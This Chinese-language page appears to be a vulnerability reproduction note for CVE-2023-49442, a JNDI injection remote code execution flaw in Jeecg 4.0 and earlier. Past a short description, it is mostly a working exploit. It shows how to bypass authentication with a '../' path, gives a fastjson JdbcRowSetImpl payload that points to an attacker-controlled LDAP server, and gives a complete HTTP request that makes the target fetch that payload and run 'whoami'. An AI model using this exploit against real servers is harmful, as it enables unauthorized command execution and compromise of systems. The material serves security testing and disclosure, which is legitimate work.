登录 白背景

Jeecg jeecgFormDemoController JNDI 代码执行漏洞 CVE-2023-49442

漏洞描述

Jeecg 4.0及之前版本中,由于 /api 接口鉴权时未过滤路径遍历,攻击者可构造包含 ../ 的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest 接口进行 jndi 注入攻击,实现远程代码执行。

Jeecg(J2EE Code Generation)是开源的代码生成平台,目前官方已停止维护。注:Jeecg 与 Jeecg-boot 非相同应用。

参考链接:

漏洞影响

Jeecg <= 4.0

漏洞复现

测试环境 fastjson 版本1.2.31,漏洞位置 src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java

直接发包访问接口会 302 跳转,需要构造包含 ../ 的 url 绕过鉴权。api 接口不做限制,因此构造漏洞地址如下:

/api/../jeecgFormDemoController.do?interfaceTest=

JNDI 注入工具: https://github.com/WhiteHSBG/JNDIExploit

创建远程文件 poc.txt,其内容为 fastjson 代码执行的 payload:

{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"    
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://<your-vps-ip>:1389/Basic/TomcatEcho",
        "autoCommit": true
    }
}

发送如下请求包:

POST /jeecg/api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
cmd: whoami

serverUrl=http://<your-vps-ip>:8081/poc.txt&requestBody=123&requestMethod=GET